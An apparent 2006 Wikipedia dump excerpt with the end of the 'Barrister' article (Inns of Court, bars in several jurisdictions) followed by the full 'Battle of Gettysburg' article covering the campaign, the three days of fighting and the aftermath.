A barrister is regulated by a [[Bar association|Bar]] (the [[Faculty of Advocates]] in Scotland) which he becomes qualified to join. A Bar is merely a term for the society or association which comprises all members of the profession of barrister within a given jurisdiction. Unlike solicitors, they are not necessarily officers of the courts in the jurisdiction where they are qualified, but must still maintain a balance between their duty to the court and their duty to their client.

Barristers do not normally report directly to their &quot;lay clients&quot;. They will meet and advise them but their principal contact (the &quot;brief&quot;) is the solicitor or &quot;professional client&quot; that &quot;instructs&quot; them. All correspondence, enquiries, invoices, etc. are addressed to the solicitor, who is primarily responsible for the barristers' fees. It is the solicitor who works directly with the client, and who is responsible for engaging a qualified and experienced barrister appropriate to the budget of the client and the nature of his or her case. 



=== Regulation ===

Inns of Court (like  the [[Faculty of Advocates]] in Scotland) are independent societies that are titularly responsible for the training, admission (calling) and regulation of barristers. A person may only be called to the Bar by an Inn, of which he must first become a member.

For the Bar of England and Wales, there are four Inns: [[Gray's Inn |The Honourable Society of Gray's Inn]], [[ Lincoln's Inn |The Honourable Society of Lincoln's Inn]], [[Middle Temple | The Honourable Society of the Middle Temple]], and [[Inner Temple |The Honourable Society of the Inner Temple]] (Each is usually referred to in short form, e.g. Inner Temple, or &quot;Inner&quot;).  All are situated in central London, near to the Royal Courts of Justice.

In Ireland, there is a single Inn: [[Kings Inns|The Honourable Society of King's Inns]], located near to the Four Courts, the premises of the High Court and Supreme Court.

Historically, each society had sole responsibility for the training and tuition of its student barristers. In fact, call to and success at the Bar would to some extent depend upon the introductions that you made during these formative years. In England and Wales, in the 1850's, efforts were made to unify the education of a barrister which had differed between the then four Inns. A Council of Legal Education was established in 1852 - which is now known as the Inns of Court School of Law.

In [[Scotland]] and [[Ireland]], the [[Faculty of Advocates | Faculty]] and Inn respectively have retained (or at least have not delegated) their educational responsibilities.


== England and Wales ==

See &quot;[[Barristers in England and Wales]]&quot;

[[England and Wales]], whilst politically separate from each other within the federal structure of the [[United Kingdom]], form a single legal jurisdiction, and accordingly they are together served by a single Bar.

The profession of barrister in England and Wales is separate profession from that of solicitor. It is not possible carry on in practice as both, at the same time. They are regulated through a system of Inns of Court. These Inns educate prospective barristers by way of a dedicated vocational course through an institution called the Inns of Court School of Law, or through other educational institutions that are permitted to run the course.

Barristers obtain the qualification of &quot;Barrister&quot; on successful completion of the vocational course. At this stage they are &quot;called to the Bar&quot;. However, before they can practice independently they must first undertake twelve-months of [[pupillage]].

In December 2004 there were just over 11,500 barristers in independent practice , of whom about ten percent are [[Queen's Counsel|QC]]s. Many barristers (about 2,800) are employed in companies as &amp;lsquo;in-house&amp;rsquo; counsel, or by local or national [[government]] or in academic institutions.


== Barristers in Northern Ireland ==
[[Image:barlibrary.jpg|thumb|right]]
{{main|Barristers in Northern Ireland}}

In April 2003 there were 555 barristers in independent practice in Northern Ireland. Sixty six were Queen’s Counsel (&quot;QC's&quot;), barristers who have earned a high reputation and are appointed by the Queen on the recommendation of the Lord Chancellor as senior advocates and advisers. 

Those barristers who are not QC's are called Junior Counsel and are styled &quot;B.L.&quot; or &quot;Barrister-at-Law&quot;. The term &quot;junior&quot; is misleading since many members of the Junior Bar are experienced barristers with considerable expertise. 
  
Benchers are, and have been for centuries, the governing bodies of the four Inns of Court in London and King’s Inns, Dublin. The Benchers of the Inn of Court of Northern Ireland governed the Inn until the enactment of the Constitution of the Inn in 1983, which provides that the government of the Inn is shared between the Benchers, the Executive Council of the Inn and members of the Inn assembled in General Meeting. 

The Executive Council (through its Education Committee) is responsible for considering Memorials submitted by applicants for admission as students of the Inn and by Bar students of the Inn for admission to the degree of Barrister-at-Law and making recommendations to the Benchers. The final decisions on these memorials are taken by the Benchers. The Benchers also have the exclusive power of expelling or suspending a Bar student and of disbarring a barrister or suspending a barrister from practice. 

The Executive Council is also involved with the education; fees of students; calling counsel to the Bar although call to the Bar is performed by the Lord Chief Justice on the invitation of the Benchers; administration of the Bar Library (to which all practising members of the Bar belong); and liaising with corresponding bodies in other countries. 

The Bar Council is responsible for the maintenance of the standards, honour and independence of the Bar and, through its Professional Conduct Committee, receives and investigates complaints against members of the Bar in their professional capacity.

All barristers and solicitors in NI have passed exams at the Institute of Professional Legal Studies, of Queen's University of Belfast.  The exams there are different from the rest of the UK, but on the possession of a qualifiying law degree (especially from QUB, Queens), the teaching can be  missed.  Those with a non-qualifying degree can still do the exams, on the completion of the relevant course. After a pupillage with an experienced barrister at the Bar Library, one is then qualified.

Barristers in NI do not dine formally, as is done in England.

==Barristers in other jurisdictions==
[[Advocate|Advocates]] in [[Scotland]] are similar to barristers, but there are significant differences in professional practice.

Barristers are also found in the [[Republic of Ireland]], [[Hong Kong]] (where the [[Chinese language|Chinese]] name ''da lu shi'', ''&amp;#22823;&amp;#24459;&amp;#24107;'' is also used), and [[Australia]] (in the states without a fused profession, namely [[New South Wales]], [[Victoria (Australia)|Victoria]], and [[Queensland]]). In [[Canada]], the professions of barrister and solicitor are fused, and many lawyers refer to themselves with both names.  However, in [[Quebec]], which has substantive law under the [[civil law (legal system)|civil law]] tradition, the practice is closer to that of the United Kingdom, with ''les avocats'' practicing before the courts, and [[civil law notary|civil law notaries]] or ''les notaires'' limited to most of the functions of solicitors. 

In [[Western Australia]] and [[South Australia]], the professions of barristers and solicitors are fused, but nonetheless an independent bar is in existence, regulated by those States' Legal Practice Boards. A similar arrangement exists in [[New Zealand]]. In [[Tasmania]] (Australia) the profession is fused although a very small number of practitioners operate as an independent bar.

The [[United States]] does not draw a distinction between barristers and solicitors; all lawyers who pass the [[bar examination]] may argue in the courts of the state in which they are admitted, although some state appellate courts require attorneys to obtain a separate certificate of admission to plead and practice in the appellate court. This separate admissions process, where it exists, is usually a simple matter of paying a small application fee. Federal courts at each level (Federal District, Circuit Courts of Appeals, Supreme Court) require specific admission to that court's bar in order to practice before it, but there is no separate examination process for federal courts, and admission is usually granted as a matter of course to any attorney licensed in the state where the particular federal court sits. 
 
Although most European countries have divided legal professions, with different kinds of lawyers performing different functions, only [[Spain]] has a division which generally corresponds to the division in Britain between barristers/advocates and solicitors. ''Procuradores'' represent the interests of a litigant in court, while ''abogados'' is the general term for other lawyers. Procuradores are regulated by Royal Decree 2046 of 1982, which approved the General Statute of the Procuradores, and the Organic Law no.6 of 1985. The General Statute regulates the qualifications and conduct of the procuradores. Thus, obligations to act ''pro bono'' are laid down by Article 13.

==See also==
* [[Advocate]]
* [[Solicitor]]

==External links==
*[http://www.austbar.asn.au/  Australian Bar Association (barristers in the Commonwealth of Australia)]
*[http://www.barcouncil.org.uk/ Bar Council (barristers in England and Wales)]
*[http://www.barlibrary.com/ Bar Library of Northern Ireland]
*[http://www.hkba.org/ Hong Kong Bar Association (barristers in Hong Kong)]
*[http://www.advocates.org.uk Faculty of Advocates (advocates in Scotland) ]
*[http://www.jonathanmitchell.info/advocates.html Further material on advocates in Scotland]
*[http://www.lawlibrary.ie/ Irish Bar Council (barristers in the Republic of Ireland)]
*[http://www.austbar.asn.au/section/5889.html List of Australian law links, including several bar associations]
*[http://www.nswbar.asn.au/ Bar Association of New South Wales (Australia)]
*[http://www.vicbar.com.au/ Victorian Bar Association (Australia)] 
*[http://www.qldbar.asn.au/ Queensland Bar Association (Australia)]
*[http://www.sabar.org.au/ South Australian Bar Association (Australia)]
*[http://www.wabar.asn.au/ Western Australian Bar Association (Australia)]
*[http://www.lsuc.on.ca Law Society of Upper Canada]
*[http://www.hklawsoc.org.hk/ Law Society of Hong Kong]

[[Category:Legal occupations]]
[[Category:Professions]]
[[Category:United Kingdom law]]
[[Category:Common law]]
[[Category:Lawyers]]

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  <page>
    <title>Battle of Gettysburg</title>
    <id>4849</id>
    <revision>
      <id>41947903</id>
      <timestamp>2006-03-02T20:43:22Z</timestamp>
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      <comment>Revert to revision 41793521 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">{{Infobox Military Conflict
|conflict=Battle of Gettysburg
|partof=the [[American Civil War]]
|image=[[Image:Battle of Gettysburg, by Currier and Ives.png|300px]]
|caption=''The battle of Gettysburg, Pa. July 3d. 1863'', by Currier and Ives
|date=[[July 1]]&amp;ndash;[[July 3|3]], [[1863]]
|place=[[Adams County, Pennsylvania]]
|result=[[United States|Union]] victory 
|combatant1=[[United States of America]]
|combatant2=[[Confederate States of America]]
|commander1=[[George Meade|George G. Meade]]
|commander2=[[Robert E. Lee]]
|strength1=83,289
|strength2=75,054
|casualties1=23,049 (3,155 killed, 14,529 wounded, 5,365 captured/missing)
|casualties2=28,000 (3,500 killed, 18,000 wounded, 6,500 captured/missing)
}}
{{Campaignbox Gettysburg Campaign}}

The '''Battle of Gettysburg''' ([[July 1]]&amp;ndash;[[July 3|3]], [[1863]]), fought in and around the town of [[Gettysburg, Pennsylvania]], as part of the [[Gettysburg Campaign]], was the bloodiest{{Ref|blood}} battle of the [[American Civil War]] and is frequently cited as the war's [[Turning point of the American Civil War|turning point]]. [[Union army | Union]] [[Major General]] [[George G. Meade]]'s [[Army of the Potomac]] decisively defeated attacks by [[Confederate army|Confederate]] General [[Robert E. Lee]]'s [[Army of Northern Virginia]], ending Lee's second and final invasion of the [[Northern United States | North]].

==Background and movement to battle==

Shortly after Lee's army won a decisive victory over the Army of the Potomac at the [[Battle of Chancellorsville]] ([[May 1]]&amp;ndash;[[May 3|3]], [[1863]]), Lee decided upon a second invasion of the North. Such a move would upset [[United States|Federal]] plans for the summer campaigning season and possibly relieve the besieged Confederate garrison at [[Vicksburg, Mississippi|Vicksburg]], and it would allow the Confederates to live off the bounty of the rich Northern farms while giving war-ravaged [[Virginia]] a much needed rest. Also Lee's 75,000-man army could threaten [[Philadelphia, Pennsylvania|Philadelphia]], [[Baltimore, Maryland|Baltimore]], and [[Washington, D.C.|Washington]] and give voice to the growing peace movement in the North.

Thus, on [[June 3]] Lee's army began to shift northward from [[Fredericksburg, Virginia]]. In order to attain more efficiency in his commands, Lee had reorganized his two large corps into three new corps. [[James Longstreet]] retained command of his First Corps. However, the old corps of Lieutenant General [[Stonewall Jackson|Thomas J. &quot;Stonewall&quot; Jackson]] was divided into two, with the Second Corps going to Lt. Gen. [[Richard S. Ewell]] and the new Third Corps commanded by Lt. Gen. [[A.P. Hill]]. The [[Gettysburg Confederate Order of Battle]] lists the units and commanders of the [[Army of Northern Virginia]].

The Federal Army of the Potomac, under Maj. Gen. [[Joseph Hooker]], consisted of seven infantry corps, a cavalry corps, and an Artillery Reserve, for a combined strength of more than 90,000 men. However, [[Abraham Lincoln]] would soon replace Hooker with Maj. Gen. [[George G. Meade]], due to Hooker's defeat at the [[Battle of Chancellorsville]] and his timid response to Lee's second invasion north of the Potomac. The [[Gettysburg Union Order of Battle]] lists the units and commanders of the Army of the Potomac after Meade assumed command.

The first major action of the campaign took place on [[June 9]] between the opposing cavalry forces at [[Brandy Station]], near [[Culpeper, Virginia]]. The Confederate cavalry under [[J.E.B. Stuart]] was nearly bested by the Federal horsemen, but Stuart eventually prevailed. However, this battle, the largest cavalry engagement of the war, proved that for the first time, the Union horse soldier was equal to his Southern counterpart. 

By mid-June, the Army of Northern Virginia was poised to cross the [[Potomac River]] and enter [[Maryland]]. After defeating the Federal garrisons at [[Winchester, Virginia|Winchester]] and [[Martinsburg, West Virginia|Martinsburg]], Ewell's Second Corps began crossing the river on [[June 15]]. Hill's and Longstreet's corps followed on [[June 24]]&amp;ndash;[[June 25|25]]. Hooker's army pursued, keeping between the U.S. Capital and Lee's army. The Federals crossed the Potomac on [[June 25]]&amp;ndash;[[June 27|27]].

Meanwhile, in a controversial move, Lee allowed J.E.B. Stuart to take a portion of the army's cavalry and ride around the [[Union Army|Union army]]. However, Lee's orders gave Stuart much latitude, and both generals are to blame for the long absence of Stuart's cavalry, as well as for the failure to assign a more active role to the cavalry left with the army. Stuart and his three best brigades were absent from the army during the crucial phase of the approach to Gettysburg and the first two days of battle. By [[June 29]], Lee's army was strung out in an arc from [[Chambersburg, Pennsylvania]], 28 miles (45 km) northwest of [[Gettysburg, Pennsylvania|Gettysburg]], to [[Carlisle, Pennsylvania|Carlisle]], 30 miles (48 km) north of Gettysburg, to near [[Harrisburg, Pennsylvania|Harrisburg]] and [[Wrightsville, Pennsylvania|Wrightsville]] on the [[Susquehanna River]].

In a dispute over the use of the forces defending the [[Harpers Ferry, West Virginia|Harpers Ferry]] garrison, Hooker offered his resignation, and [[Abraham Lincoln]] and General-in-Chief [[Henry W. Halleck]], who were looking for an excuse to get rid of Hooker, immediately accepted the resignation. They replaced him on [[June 27]]&amp;ndash;[[June 28|28]] with Maj. Gen. [[George Meade | George Gordon Meade]], commander of the [[V Corps (ACW)|V Corps]].

When, on [[June 29]], Lee learned that the Army of the Potomac had crossed its namesake river, he ordered a concentration of his forces around [[Cashtown-McKnightstown, Pennsylvania | Cashtown]], located at the eastern base of South Mountain and eight miles (13 km) west of Gettysburg.

On [[June 30]], while part of Hill's Corps was in Cashtown, one of Hill's brigades, North Carolinians under [[J. Johnston Pettigrew]], ventured toward Gettysburg. The memoirs of Maj. Gen. [[Henry Heth]], Pettigrew's division commander, claimed that Pettigrew was in search of a large supply of shoes in town, but this explanation has been largely discounted by historians.

When Pettigrew's troops approached Gettysburg on [[June 30]], they noticed Federal cavalry under Brig. Gen. [[John Buford]] west of town, and Pettigrew returned to Cashtown without engaging them. When Pettigrew told Hill and Henry Heth about what he had seen, neither general believed that there was a substantial Federal force in or near the town, suspecting that it had been only Pennsylvania militia. Despite General Lee's order to avoid a general engagement until his entire army was concentrated, Hill decided to mount a significant [[reconnaissance | reconnaissance in force]] the following morning to determine the size and strength of the enemy force in his front. Around 5 a.m. on Wednesday, [[July 1]], Heth's division advanced to Gettysburg.

The terrain of Gettysburg and vicinity is described in [[Gettysburg Battlefield]].
                                                                                                                                                                                   
==First day of battle==
{{seesubarticle|Battle of Gettysburg, First Day}}
[[Image:Gettysburg_Battle_Map_Day1.jpg|thumb|right|350px|Map of Battle, July 1st. Confederate troops are marked in red, Union in blue.]]

General Buford realized the  importance of the high ground directly to the south of Gettysburg, knowing that if the Confederates could gain control of the heights, Meade's army would have a hard time dislodging them.  He decided to utilize three ridges west of Gettysburg: Herr Ridge, McPherson Ridge, and Seminary Ridge (proceeding west to east toward the town). These were appropriate terrain for a delaying action by his small division against superior Confederate forces, meant to buy time awaiting the arrival of infantrymen who could occupy the superior defensive positions south of town, [[Cemetery Hill]], [[Cemetery Ridge]], and [[Culp's Hill]].

Heth's division advanced with two brigades forward, commanded by Brig. Gens. [[James Archer]] and [[Joseph R. Davis]]. They proceeded easterly in columns along the Chambersburg Pike. Three miles (5 km) west of town, about 7:30 a.m. on July 1, Heth's two brigades met light resistance from cavalry [[vedette]]s and deployed into line. Eventually, they reached dismounted troopers from Col. [[William Gamble (USA)|William Gamble]]'s cavalry brigade, who mounted determined resistance and delaying tactics from behind fence posts with rapid fire from their Sharps carbines. By 10:20 a.m., the Confederates had pushed the Union cavalrymen east to McPherson Ridge, when the vanguard of the [[I Corps (ACW)|I Corps]] (Maj. Gen. [[John F. Reynolds]]) finally arrived. 

North of the Pike, Davis gained a temporary success against Brig. Gen. [[Lysander Cutler]]'s brigade, but was repulsed with heavy losses in an action around an unfinished railroad bed cut in the ridge. South of the Pike, Archer's brigade assaulted through Herbst (also know as McPherson's) Woods. The Federal [[Iron Brigade]] under Brig. Gen. [[Solomon Meredith]] enjoyed initial success against Archer, capturing several hundred men, including Archer himself.

Early in the fighting, while General Reynolds was directing troop and artillery placements just to the east of the woods, he fell from his horse, killed instantly by a bullet striking him behind the left ear. Maj. Gen. [[Abner Doubleday]] assumed command. Fighting in the Chambersburg Pike area lasted until about 12:30 p.m. It resumed around 2:30 p.m., when Heth's entire division engaged, adding the brigades of Pettigrew and Col. [[John M. Brockenbrough]].

As Pettigrew's North Carolina Brigade came on line they flanked the 19th Indiana and drove the Iron Brigade back. The 26th North Carolina (the largest regiment in the army with nearly 900 men) lost heavily, leaving the first day's fight with around 212 men. By the end of the three-day battle, they would have about 60 men standing, the highest casualty percentage for one battle of any other regiment, north or south. Slowly the Iron Brigade was pushed out of the woods toward Seminary Ridge. Hill added [[William Dorsey Pender]]'s division to the assault and the I Corps was driven back through the grounds of the Lutheran Seminary and Gettysburg streets.

As the fighting to the west proceeded, two divisions of Ewell's Second Corps, marching west toward Cashtown in accordance with Lee's order for the army to concentrate in that vicinity, turned south on the Carlisle and Harrisburg Roads toward Gettysburg, while the Union [[XI Corps (ACW)|XI Corps]] (Maj. Gen. [[Oliver O. Howard]]) raced north on the Baltimore Pike and Taneytown Road. By early afternoon, the Federal line ran in a semi-circle west, north, and northeast of Gettysburg.

However, the Federals did not have enough troops; Cutler, who was deployed north of the Chambersburg Pike, had his right flank in the air. The leftmost division of the XI Corps was unable to deploy in time to strengthen the line, so Doubleday was forced to throw in reserve brigades to salvage his line. 

Around 2:00 p.m., [[Robert E. Rodes]]'s and [[Jubal Anderson Early|Jubal Early]]'s Second Corps divisions smashed and out-flanked the Federal I and XI Corps positions north and northwest of town. The brigades of [[Edward A. O'Neal]] and [[Alfred Iverson]] suffered severe losses assaulting the I Corps division of Brig. Gen. [[John C. Robinson]] south of Oak Hill. Early's division profited from a blunder made by Brig. Gen. [[Francis C. Barlow]], when he advanced his XI Corps division to Blocher's Knoll (directly north of town and now known as Barlow's Knoll); this represented a salient in the corps line, susceptible to attack from multiple sides, and Early's troops overran his division, which constituted the right flank of the Union Army's position. Barlow was wounded and captured in the attack.

As Federal positions collapsed both north and west of town, Gen. Howard ordered a retreat to the high ground south of town, [[Cemetery Hill]], where he had left the division of [[Adolph von Steinwehr]] as a reserve.

Gen. Lee understood the defensive potential to the Union if they held this high ground. He sent orders to Ewell that Cemetery Hill be taken &quot;if practicable.&quot; Ewell chose not to attempt the assault, considered by historians to be a great missed opportunity.

The battle of [[July 1]] had pitted over 25,000 Confederates against 18,000 Federals, and ranks in itself as the twenty-third largest battle of the war.

== Second day of battle ==
[[Image:Gettysburg_Battle_Map_Day2.jpg|thumb|right|350px|Map of Battle, July 2nd.]]
{{seesubarticle|Battle of Gettysburg, Second Day}}

===Plans and movement to battle===
Throughout the evening of July 1 and morning of [[July 2]], most of the remaining infantry of both armies arrived on the field, including the Union [[II Corps (ACW)|II]], [[III Corps (ACW)|III]], [[V Corps (ACW)|V]], [[VI Corps (ACW)|VI]], and [[XII Corps (ACW)|XII Corps]]. Longstreet's third division, commanded by [[George Pickett]], had begun the march from [[Chambersburg, Pennsylvania|Chambersburg]] early in the morning; it would not arrive until late on July 2.

The Union line ran from [[Culp's Hill]] southeast of the town, northwest to Cemetery Hill just south of town, then south for nearly two miles (3 km) along Cemetery Ridge, terminating just north of [[Little Round Top]]. Most of the XII Corps was on Culp's Hill, the remnants of I and XI Corps defended Cemetery Hill, II Corps covered most of the northern half of Cemetery Ridge, and III Corps was ordered to take up a position to its flank. This shape of the Union line is popularly described as a &quot;fishhook&quot; formation. The Confederate line paralleled the Union line about a mile (1600 m) to the west on [[Seminary Ridge]], ran east through the town, then curved southeast to a point opposite Culp's Hill. Thus, the Federal army had interior lines, while the Confederate's exterior line was nearly five miles (8 km) in length.

Lee's battle plan for July 2 called for Longstreet's First Corps to position itself stealthily to attack the Union left flank, facing northeast astraddle the Emmitsburg Road, and to roll up the Federal line. The attack sequence was to begin with [[John Bell Hood]]'s and [[Lafayette McLaws]]'s divisions, followed by [[Richard H. Anderson]]'s division of Hill's Third Corps. The progressive ''en echelon'' sequence of this attack would prevent Meade from shifting troops from his center to bolster his left. At the same time, [[Edward Johnson (general) | Edward &quot;Allegheny&quot; Johnson's]] and Jubal Early's Second Corps divisions were to make a &quot;demonstration&quot; against Culp's and Cemetery Hills (again, to prevent the shifting of Federal troops), and to turn the demonstration into a full-scale attack if a favorable opportunity presented itself. 

Lee's plan, however, was based on faulty intelligence, exacerbated by Stuart's continued absence from the battlefield. Instead of moving beyond the Federals' left and attacking their flank, Longstreet's left division, under McLaws, would face Maj. Gen. [[Daniel Sickles]]'s III Corps directly in their path. Sickles, dissatisfied with the position assigned him on the southern end of Cemetery Ridge, and seeing higher ground more favorable to artillery positions a half mile (800 m) to the west, had advanced his corps&amp;mdash;without orders&amp;mdash;to the slightly higher ground along the Emmitsburg Road. The new line ran from Devil's Den, northwest to the Sherfy farm's Peach Orchard, then northeast along the Emmitsburg Road to south of the Codori farm. This created an untenable salient at the Peach Orchard; Brig. Gen. [[Andrew A. Humphreys]]'s division (in position along the Emmitsburg Road) and Maj. Gen. [[David B. Birney]]'s division (to the south) were subject to attacks from two sides and were spread out over a longer front than their small corps could defend effectively.

Longstreet's attack was to be made as early as practicable; however, Longstreet got permission from Lee to await the arrival of one of his brigades, and, while marching to the assigned position, his men came within sight of a Union signal station on Little Round Top. Countermarching to avoid detection wasted much time, and Hood's and McLaws's divisions did not launch their attacks until just after 4 p.m. and 5 p.m., respectively.

===Attacks on the Union left flank===
As Longstreet's divisions slammed into the Union III Corps, Meade had to send reinforcements in the form of the entire V Corps, Caldwell's division of the II Corps, most of the XII Corps, and small portions of the newly arrived VI Corps. Hard fighting took place in [[Devil's Den]], the [[Battle of Gettysburg, Second Day#Wheatfield | Wheatfield]], [[Little Round Top]], and the [[Battle of Gettysburg, Second Day#Peach Orchard | Peach Orchard]]. The III Corps was virtually destroyed as a combat unit in this battle and Sickles's leg was amputated after it was shattered by a cannonball. Caldwell's division was devoured piecemeal in the Wheatfield. Anderson's division assault starting around 6 p.m. reached the crest of Cemetery Ridge, but they could not hold the position in the face of counterattacks from the II Corps.

Meanwhile, Colonel [[Strong Vincent]] of V Corps was holding, with his small brigade, an important hill in the Union position: [[Little Round Top]]. He was able to hold off repeated assaults by a Confederate brigade of Hood's division with his five relatively small regiments. Meade's chief engineer, Brig. Gen. [[Gouverneur K. Warren]], had realized the importance of this position, and dispatched Vincent's brigade, Hazlett's artillery battery, and the 140th New York to occupy Little Round Top mere minutes before Hood's troops arrived. The defense of Little Round Top with a bayonet charge by the [[20th Maine Volunteer Infantry Regiment]] was one of the most fabled episodes in the Civil War.
{{seesubarticle|Little Round Top}}

===Attacks on the Union right flank===
About 7:00 p.m., the Second Corps' attack by Johnson's division on Culp's Hill got off to a late start. Most of the hill's defenders, the Union XII Corps, had been sent to the left to defend against Longstreet's attacks, and the only portion of the corps remaining on the hill was a brigade of New Yorkers under Brig. Gen. [[George S. Greene]]. Due to Greene's insistence on constructing strong defensive works, and with reinforcements from the I and XI Corps, Greene's men held off the Confederate attackers, although the Southerners did capture a portion of the abandoned Federal works on the lower part of Culp's Hill.
{{seesubarticle|Culp's Hill}}

Just at dark, two of Jubal Early's brigades attacked the Union XI Corps positions on East Cemetery Hill where Col. [[Andrew L. Harris]] of the 2nd Brigade, 1st Division, came under a withering attack, losing half his men; however, Early failed to support his brigades in their attack on the Union defenders, and Ewell's remaining division, that of Maj. Gen. [[Robert E. Rodes]], failed to aid Early's attack by moving against Cemetery Hill from the west. The Union army's interior lines enabled its commanders to shift troops quickly to critical areas, and with reinforcements from II Corps, the Federal troops retained possession of East Cemetery Hill, and Early's brigades were forced to withdraw.
{{seesubarticle|Cemetery Hill}}

J.E.B. Stuart and his four cavalry brigades arrived in Gettysburg late in the afternoon, but had no role in the second day's battle. [[Wade Hampton]]'s brigade fought a minor engagement with [[George Armstrong Custer]]'s [[Michigan]] cavalry near [[Battle of Hunterstown | Hunterstown]] to the northeast of Gettysburg.

== Third day of battle ==
[[Image:Gettysburg_Battle_Map_Day3.jpg|thumb|right|350px|Map of Battle, July 3rd.]]

General Lee wished to renew the attack on Friday, [[July 3]], using the same basic plan as the previous day: Longstreet would attack the Federal left, while Ewell attacked Culp's Hill. However, before Longstreet was ready, Federal XII Corps troops started a dawn artillery bombardment against the Confederates on Culp's Hill in an effort to regain a portion of their lost works. The Confederates attacked and the second fight for Culp's Hill ended around 11 a.m., after some seven hours of bitter combat.
{{seesubarticle|Culp's Hill}}

Lee was forced to change his plans. Now Longstreet would command Pickett's Virginia division of his own First Corps, plus six brigades from Hill's Corps, in an attack on the Federal II Corps position at the right center of the Union line on Cemetery Ridge. Prior to the attack, all the artillery the Confederacy could bring to bear on the Federal positions would bombard and weaken the enemy's line. 

[[Image:3698.jpg|thumb|left|The &quot;High Water Mark&quot; on Cemetery Ridge as it appears today. The monument to the 72nd Pennsylvania Volunteer Infantry Regiment (&quot;Baxter's Philadelphia Fire Zouaves&quot;) appears at right, the Copse of Trees to the left.]]
Around 1:00 p.m., 170 Confederate cannons began an artillery bombardment was probably the largest of the war. In order to save valuable ammunition for the infantry attack that they knew must follow, the Army of the Potomac's artillery at first did not return the enemy's fire. After waiting about 15 minutes, 80 or so Federal cannon added to the din. The Army of Northern Virginia was critically low on artillery ammunition, and the cannonade did not significantly affect the Union position. Around 3:00 p.m, the cannon fire subsided, and 12,500 Southern soldiers stepped from the ridgeline and advanced the three-quarters of a mile (1200 m) to Cemetery Ridge in what is known to history as &quot;[[Pickett's Charge]]&quot;. Due to fierce flanking artillery fire from Union positions on Cemetery Hill and north of Little Round Top, and musket and canister fire from the II Corps as the Confederates approached, nearly one half of the attackers would not return to their own lines. Although the Federal line wavered and broke temporarily at a jog in a low stone fence called the &quot;Angle&quot;, just north of a patch of vegetation called the Copse of Trees, reinforcements rushed into the breach and the Confederate attack was repulsed.
{{seesubarticle|Pickett's Charge}}

There were two significant cavalry engagements on July 3. Stuart was sent to guard the Confederate left flank and was to be prepared to exploit any success the infantry might achieve on Cemetery Hill by flanking the Federal right and hitting their trains and lines of communications. Three miles (5 km) east of Gettysburg, in what is now called &quot;East Cavalry Field&quot; (not shown on the accompanying map, but between the York and Hanover Roads), Stuart's forces collided with Federal cavalry: Brig. Gen. [[David McM. Gregg]]'s division and [[George A. Custer]]'s brigade. A lengthy mounted battle, including hand-to-hand sabre combat, ensued. Custer's charge, leading the 1st Michigan Cavalry, blunted the attack by [[Wade Hampton]]'s brigade, blocking Stuart from achieving his objectives in the Federal rear. After Pickett's Charge, Meade ordered Brig. Gen. [[Judson Kilpatrick]] to launch a cavalry attack against the infantry positions of Longstreet's Corps southwest of Big Round Top. Brig. Gen. [[Elon J. Farnsworth]] protested against the futility of such a move, but obeyed orders; Farnsworth was killed in the attack and his brigade suffered significant losses.
{{seesubarticle|Battle of Gettysburg, Third Day cavalry battles}}

== Aftermath ==
The armies stared at one another across the bloody fields on [[July 4]], the same day that the [[Battle of Vicksburg|Vicksburg]] garrison surrendered to Gen. [[Ulysses S. Grant]]. Lee reformed his lines into a defensive position, hoping that Meade would attack. The cautious Union commander, however, decided against the risk, a decision for which he would later be criticized.

On [[July 5]], in a driving rain, the Army of Northern Virginia left Gettysburg on the Hagerstown Road; the Battle of Gettysburg was over, and the Confederates headed back to Virginia. Meade's Army of the Potomac followed, though the pursuit was half-spirited at best. The recently rain-swollen Potomac trapped Lee's army on the north bank of the river, but by the time the Federals caught up, the Confederates were ready to cross back to Virginia. The rear-guard action at Falling Waters on [[July 14]] ended the Gettysburg Campaign and added some more names to the long casualty lists, including General Pettigrew, mortally wounded.

[[Image:Battle_of_Gettysburg.jpg|thumb|300px|left|&quot;The Harvest of Death&quot;: Union dead on the battlefield at Gettysburg, Pennsylvania, photographed July 5&amp;ndash;6, 1863, by Timothy O'Sullivan]]

Throughout the campaign, General Lee seemed to have entertained the belief that his men were invincible; most of Lee's experiences with the army had convinced him of this, including the great victory at Chancellorsville in early May and the rout of the Federals at Gettysburg on July 1. To the detrimental effects of this blind faith were added the fact that the Army of Northern Virginia had many new and inexperienced commanders. (Neither Hill nor Ewell, for instance, though capable division commanders, had commanded a corps before.) Also, Lee's habit of giving general orders and leaving it up to his lieutenants to work out the details contributed to his defeat. Although this method may have worked with Stonewall Jackson, it proved inadequate when dealing with corps commanders unused to Lee's loose style of command. Lastly, after July 1, the Confederates were simply not able to coordinate their attacks. Lee faced a new and very dangerous opponent in Maj. Gen. George G. Meade, and the Army of the Potomac stood to the task and fought well on its home territory. 

The armies would move on, but Gettysburg had much cleaning up to do. The two armies had suffered 51,000 casualties&amp;mdash;killed, wounded, and captured/missing. More than 7,000 soldiers had been killed outright; these bodies, lying in the hot summer sun, needed to be buried quickly. 5,000 horse carcasses were burned in a pile south of town; townsfolk became violently ill from the stench. The ravages of war would still be evident in Gettysburg more than four months later when, on [[November 19]], the [[Soldiers' National Cemetery]] was dedicated. During this ceremony, President [[Abraham Lincoln]] with his [[Gettysburg Address]] would re-dedicate the nation to the war effort and to the ideal that no soldier at Gettysburg&amp;mdash;North or South&amp;mdash;had died in vain.

Today, the [[Gettysburg National Cemetery]] and [[Gettysburg Battlefield | Gettysburg National Military Park]] are maintained by the [[U.S. National Park Service]] as two of the nation's most revered historical landmarks.

==Notes==
# {{Note|blood}} Gettysburg was the battle with the largest number of casualties in the war. [[Battle of Antietam | Antietam]], the culmination of Lee's first invasion of the North, had the largest number of casualties in a single day.

==References==
*Coddington, Edwin B., ''The Gettysburg Campaign; a study in command'', Scribner's, 1968, ISBN 0-684-84569-5.
*Tagg, Larry, [http://www.rocemabra.com/~roger/tagg/generals/ ''The Generals of Gettysburg''], Savas Publishing, 1998, ISBN 1-882810-30-9.

==See also==
*[[Gettysburg Confederate Order of Battle]]
*[[Gettysburg Union Order of Battle]]
*[[Gettysburg (movie)]]
*[[Gettysburg (music)]]
*[[The Killer Angels]]

== External links ==
*[http://www.nps.gov/gett/ Gettysburg National Military Park (National Park Service)]
*[http://www.militaryhistoryonline.com/gettysburg/ Military History Online: The Battle of Gettysburg]
*[http://www.bufordsboys.com/WittenbergBufordDefense.htm Explanation of Buford's Defense at Gettysburg]
*[http://www.brotherswar.com/ The Brothers War: The Battle of Gettysburg]
*[http://www.gdg.org/ Gettysburg Discussion Group archives]
